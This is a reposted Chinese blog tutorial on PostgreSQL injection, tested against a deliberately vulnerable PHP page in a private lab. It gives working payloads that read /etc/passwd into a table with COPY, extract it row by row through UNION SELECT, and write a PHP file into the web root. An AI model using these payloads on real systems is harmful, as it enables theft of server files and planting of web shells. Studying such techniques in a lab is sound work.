技术笔记

postgresql注入之文件读写

字号+ 作者:www.aptno1.com 来源:转载 2016-12-13 15:25 我要评论( )

一直以来PostgreSQL的数据库遇到得很少对于一些在注入中对文件操作的知识比较单薄于是就自己搭建了一个环境来测试一下。操作系统用的是CenOS7.1,WEB服务器用的是N......

一直以来PostgreSQL的数据库遇到得很少对于一些在注入中对文件操作的知识比较单薄于是就自己搭建了一个环境来测试一下。操作系统用的是CenOS 7.1,WEB服务器用的是Nginx 1.9 + PHP 5.6来搭建,数据库则是最新的PostgreSQL 9.4。搭建好整个环境之后自己构造了一个典型的注入漏洞代码来对PostgreSQL的文件读写进行学习,下面是测试代码。
1.png

代码高清图点击

既然注入已经构造了,就直奔主题,如何才能对文件进行读写。在网上查阅了一番,据说有很多函数可以列出目录还有读写文件的,但是被限制了只能在某个文件夹下,所以那些对文件以及目录操作的函数就成了鸡肋。找到比较靠谱的方法就是类似MySQL的文件读写,首先新建一个输出表,然后把文件写入输出表,最后再读取输出表,这样的方式对文件进行读写。读取文件的代码如下:
CREATE TABLE input_file(content TEXT);
COPY input_file FROM '/etc/passwd'; 
SELECT * FROM input_file;
执行的结果如下:
2.png


说明此方法可行,那么在注入的时候如何利用?下面是利用过程。
1、http://192.168.80.2:8080/postgresql.php?id=1 出来的是正常的页面,为了更清晰的了解整个读写文件的过程特意输出了SQL语句。
3.png



2、http://192.168.80.2:8080 /postgresql.php?id=1;CREATE TABLE input_file(content TEXT); COPY input_file FROM ‘/etc/passwd’; 创建一个表,然后把文件写入表。
4.png


3、http://192.168.80.2:8080/postgresql.php?id=1 and 1=2 union select null,null,content from input_file limit 1 offset 18  利用limit来遍历每一行数据。
5.png


写入文件与读取文件一样与MySQL很相似,只要知道WEB目录还有写的权限那么就可以写入文件,在Terminal中测试执行。
6.png



下面是示例:
http://192.168.80.2:8080/postgresql.php?id=1;CREATE TABLE output_file(content text not null);
INSERT INTO output_file VALUES ('<?php phpinfo();?>');COPY output_file(content) TO '/usr/local/nginx-1.9.3/html/test.php'--
7.png


执行成功之后访问一下导出的文件,看看是否真的成功。
8.png


文件已经成功写入。

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/385.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~